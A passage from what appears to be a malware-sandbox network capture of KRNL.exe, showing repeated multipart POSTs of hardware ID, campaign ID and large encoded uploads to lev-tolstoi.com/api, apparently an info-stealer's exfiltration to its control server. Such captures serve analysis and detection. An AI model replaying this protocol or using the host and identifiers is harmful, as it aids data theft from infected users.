2025-01-01 20:28:02 UTC	15331	OUT	Data Raw: 2d 2d 4c 43 34 4f 59 42 53 49 49 34 5a 43 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 0d 0a 2d 2d 4c 43 34 4f 59 42 53 49 49 34 5a 43 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 43 34 4f 59 42 53 49 49 34 5a 43 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 4c 43 34 4f Data Ascii: --LC4OYBSII4ZCJLContent-Disposition: form-data; name="hwid"3BD251238DC531F1BCFD68B774EF9B7A--LC4OYBSII4ZCJLContent-Disposition: form-data; name="pid"2--LC4OYBSII4ZCJLContent-Disposition: form-data; name="lid"yau6Na--629912535--LC4O
2025-01-01 20:28:02 UTC	2812	OUT	Data Raw: cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wE
2025-01-01 20:28:02 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gevvbbecklc65a9gs72ch49gvk; expires=Sun, 27 Apr 2025 14:14:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TiICTtXeblM4%2B9Z%2BSDyMH5vd4XBGXeOlgAQa%2FfqFA9hk6SYP3A1EfigCgEmKatr0mVhr%2B5VpjmyXpEcB5PVY1SLR%2Bf82eTOdQlpElbZ9B0Fx%2BdEpO6NGZi8837kuhcVax3I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540e2ff54727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=1984&rtt_var=778&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19100&delivery_rate=1471774&cwnd=221&unsent_bytes=0&cid=ecb171dae250f74b&ts=643&x=0"
2025-01-01 20:28:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 20:28:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:03 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GGAL4P5RZVZH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8752 Host: lev-tolstoi.com
2025-01-01 20:28:03 UTC	8752	OUT	Data Raw: 2d 2d 47 47 41 4c 34 50 35 52 5a 56 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 0d 0a 2d 2d 47 47 41 4c 34 50 35 52 5a 56 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 47 41 4c 34 50 35 52 5a 56 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 47 47 41 4c 34 50 35 52 5a 56 Data Ascii: --GGAL4P5RZVZHContent-Disposition: form-data; name="hwid"3BD251238DC531F1BCFD68B774EF9B7A--GGAL4P5RZVZHContent-Disposition: form-data; name="pid"2--GGAL4P5RZVZHContent-Disposition: form-data; name="lid"yau6Na--629912535--GGAL4P5RZV
2025-01-01 20:28:04 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=69q3plhb3svlvu2ldspu9m701n; expires=Sun, 27 Apr 2025 14:14:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9GTZ86uugcl9VSkgOvjTyjdKjN5XShMb3ZzU%2BcT%2BmW%2F6F1bcmwxDaT1ZPWtlMhuMtnjeaCYU%2BplDtqaANL88ngPiUo6WDwPqYg9xduVTGB5WU4untw8q1GhWQqxykVh2bow%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540ea3981439f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1703&rtt_var=665&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9684&delivery_rate=1614151&cwnd=241&unsent_bytes=0&cid=cc425af5f37f61fd&ts=793&x=0"
2025-01-01 20:28:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 20:28:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:04 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2SZAJ2DN9HSSBMB80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: lev-tolstoi.com
2025-01-01 20:28:04 UTC	15331	OUT	Data Raw: 2d 2d 32 53 5a 41 4a 32 44 4e 39 48 53 53 42 4d 42 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 0d 0a 2d 2d 32 53 5a 41 4a 32 44 4e 39 48 53 53 42 4d 42 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 53 5a 41 4a 32 44 4e 39 48 53 53 42 4d 42 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 Data Ascii: --2SZAJ2DN9HSSBMB80Content-Disposition: form-data; name="hwid"3BD251238DC531F1BCFD68B774EF9B7A--2SZAJ2DN9HSSBMB80Content-Disposition: form-data; name="pid"3--2SZAJ2DN9HSSBMB80Content-Disposition: form-data; name="lid"yau6Na--62991253
2025-01-01 20:28:04 UTC	5104	OUT	Data Raw: 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2025-01-01 20:28:05 UTC	1122	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00tkbfdvnspm3q1m15dpa8l50s; expires=Sun, 27 Apr 2025 14:14:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jMFKhikIgbTsQ1nVpnLxrtBclkRvBmedYN04YIWzh0Q88uDz6kw5BZNlLOxvaDm%2F3CiQhPbF5UKfne8O3i0KBkvMMJH3w48XJQW8nzsjspuxlTSPGfrUZur2qYvKxZ6cJJk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540f31a4f434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1689&rtt_var=646&sent=9&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21395&delivery_rate=1679125&cwnd=209&unsent_bytes=0&cid=60b842939b6d8e33&ts=613&x=0"
2025-01-01 20:28:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 20:28:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:06 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1XSU0JOGY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1199 Host: lev-tolstoi.com
2025-01-01 20:28:06 UTC	1199	OUT	Data Raw: 2d 2d 31 58 53 55 30 4a 4f 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 0d 0a 2d 2d 31 58 53 55 30 4a 4f 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 58 53 55 30 4a 4f 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 31 58 53 55 30 4a 4f 47 59 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --1XSU0JOGYContent-Disposition: form-data; name="hwid"3BD251238DC531F1BCFD68B774EF9B7A--1XSU0JOGYContent-Disposition: form-data; name="pid"1--1XSU0JOGYContent-Disposition: form-data; name="lid"yau6Na--629912535--1XSU0JOGYContent-
2025-01-01 20:28:07 UTC	1128	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34e1gv937kancuc1vrf0aa8u9b; expires=Sun, 27 Apr 2025 14:14:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DBnlfgtv53alXFrKO5PUmok0PNQpqHD8%2FS93X3MdZHdesPV7f8eXxyvV%2B7Hlf4NToX25IT4pIqclWi%2F1SapIZmYAx2M%2FBSRgZye6pGmHDf63YSI99kn%2FShyRmxvitExeyuE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540fc18234322-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2222&min_rtt=2215&rtt_var=845&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2106&delivery_rate=1284080&cwnd=221&unsent_bytes=0&cid=b95c1bcad473c732&ts=749&x=0"
2025-01-01 20:28:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 20:28:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49740	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7HO70WUPW0KCDJFRF2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568307 Host: lev-tolstoi.com
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 2d 2d 37 48 4f 37 30 57 55 50 57 30 4b 43 44 4a 46 52 46 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 32 35 31 32 33 38 44 43 35 33 31 46 31 42 43 46 44 36 38 42 37 37 34 45 46 39 42 37 41 0d 0a 2d 2d 37 48 4f 37 30 57 55 50 57 30 4b 43 44 4a 46 52 46 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 48 4f 37 30 57 55 50 57 30 4b 43 44 4a 46 52 46 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 Data Ascii: --7HO70WUPW0KCDJFRF2Content-Disposition: form-data; name="hwid"3BD251238DC531F1BCFD68B774EF9B7A--7HO70WUPW0KCDJFRF2Content-Disposition: form-data; name="pid"1--7HO70WUPW0KCDJFRF2Content-Disposition: form-data; name="lid"yau6Na--62991
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 b4 f3 ae 27 a9 a8 ff 50 6c 5d 85 d2 b5 16 Data Ascii: (OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s'Pl]
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 79 73 0a 98 11 48 20 7b f5 78 32 bf 7e 23 Data Ascii: w~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5IIELX;"&#ysH {x2~#
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 44 b3 e3 f4 50 3b c1 c1 c5 9f ee e9 e8 f5 03 fb 77 6f Data Ascii: ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCYDP;wo
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc ce 79 1b 8f b6 3f 2f c0 5c 15 3e 68 17 aa ea b7 65 14 Data Ascii: XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5S?Ky?/\>he
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 d3 87 94 c3 e3 ec 47 95 29 2a ca d4 2c 83 3f 0a 7d 47 Data Ascii: Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacFG),?}G
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 7e 74 f5 d9 7c 43 a8 02 c9 ab 49 bb c4 84 c2 0b 0d 5d Data Ascii: 7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$~t\|CI]
2025-01-01 20:28:08 UTC	15331	OUT	Data Raw: 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 